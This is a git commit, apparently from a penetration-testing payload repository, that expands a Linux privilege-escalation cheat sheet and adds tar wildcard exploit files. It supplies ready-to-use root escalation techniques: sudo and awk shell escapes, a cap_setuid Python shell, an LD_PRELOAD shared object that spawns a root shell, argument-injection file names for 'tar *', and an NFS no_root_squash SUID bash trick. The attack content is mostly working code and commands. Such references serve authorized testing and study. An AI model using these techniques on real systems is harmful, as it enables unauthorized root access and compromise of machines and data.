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Linux PrivEsc - Wildcard/NFS/Sudo

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Swissky
2019-03-07 15:09:06 +01:00
parent 404afd1d71
commit 68df152fd3
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125
Methodology and Resources/Linux - Privilege Escalation.md
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@@ -13,9 +13,20 @@
## Summary
* [Checklist](#checklist)
* [Cron job](#cron-job)
* [SUID](#suid)
* [Find SUID binaries](#find-suid-binaries)
* [Create a SUID binary](#create-a-suid-binary)
* [Capabilities](#capabilities)
* [List capabilities of binaries](#list-capabilities-of-binaries)
* [Edit capabilities](#edit-capabilities)
* [Interesting capabilities](#interesting-capabilities)
* [SUDO](#sudo)
* [NOPASSWD](#nopasswd)
* [LD_PRELOAD and NOPASSWD](#ld-preload-and-passwd)
* [Doas](#doas)
* [GTFOBins](#gtfobins)
* [Wildcard](#wildcard)
* [Groups](#groups)
* [Docker](#docker)
@@ -92,7 +103,28 @@
* Checks to see if the host has Docker installed
* Checks to determine if we're in an LXC container
## Cron job
Check if you have access with write permission on these files.
Check inside the file, to find other paths with write permissions.
```powershell
/etc/init.d
/etc/cron.d
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/at.allow
/etc/at.deny
/etc/crontab
/etc/cron.allow
/etc/cron.deny
/etc/anacrontab
/var/spool/cron/crontabs/root
```
## SUID
@@ -122,10 +154,11 @@ sudo chmod +s /tmp/suid # setuid bit
## Capabilities
List capabilities of binaries
### List capabilities of binaries
```bash
╭─swissky@crashmanjaro ~
╰─$ getcap -r /usr/bin
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
@@ -135,13 +168,14 @@ List capabilities of binaries
/usr/bin/rcp = cap_net_bind_service+ep
```
Edit capabilities
### Edit capabilities
```powershell
/sbin/setcap -r /bin/ping # remove
setcap cap_net_raw+p /bin/ping # add
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
```
Interesting capabilities
### Interesting capabilities
```powershell
cap_dac_read_search # read anything
@@ -151,15 +185,18 @@ cap_setuid+ep # setuid
Example of privilege escalation with `cap_setuid+ep`
```powershell
$ sudo setcap cap_setuid+ep /usr/bin/python2.7
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
## SUDO
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
```bash
@@ -176,13 +213,39 @@ sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following C code with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```powershell
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### GTFOBins
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
@@ -190,7 +253,45 @@ The project collects legitimate functions of Unix binaries that can be abused to
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it
```powershell
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
## Groups
@@ -230,4 +331,8 @@ uid=0(root) gid=0(root) groups=0(root)
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
- [Privilege escalation via Docker - April 22, 2015 — Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)

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Methodology and Resources/Windows - Privilege Escalation.md
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@@ -27,6 +27,7 @@
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated. ](https://github.com/abatchy17/WindowsExploits)
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
```powershell

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Tar Commands Execution/Files/--checkpoint-action=exec=sh shell.sh
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Tar Commands Execution/Files/--checkpoint=1
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Tar Commands Execution/Files/shell.sh
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#!/bin/bash
cat /passwd > /tmp/flag
chmod 777 /tmp/flag

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Tar Commands Execution/README.md
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# TAR Command Execution
By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.
## Exploit
These files work against a "tar *"
```powershell
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.sh (your exploit code is here)
```
## References
* [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
* [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
* [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)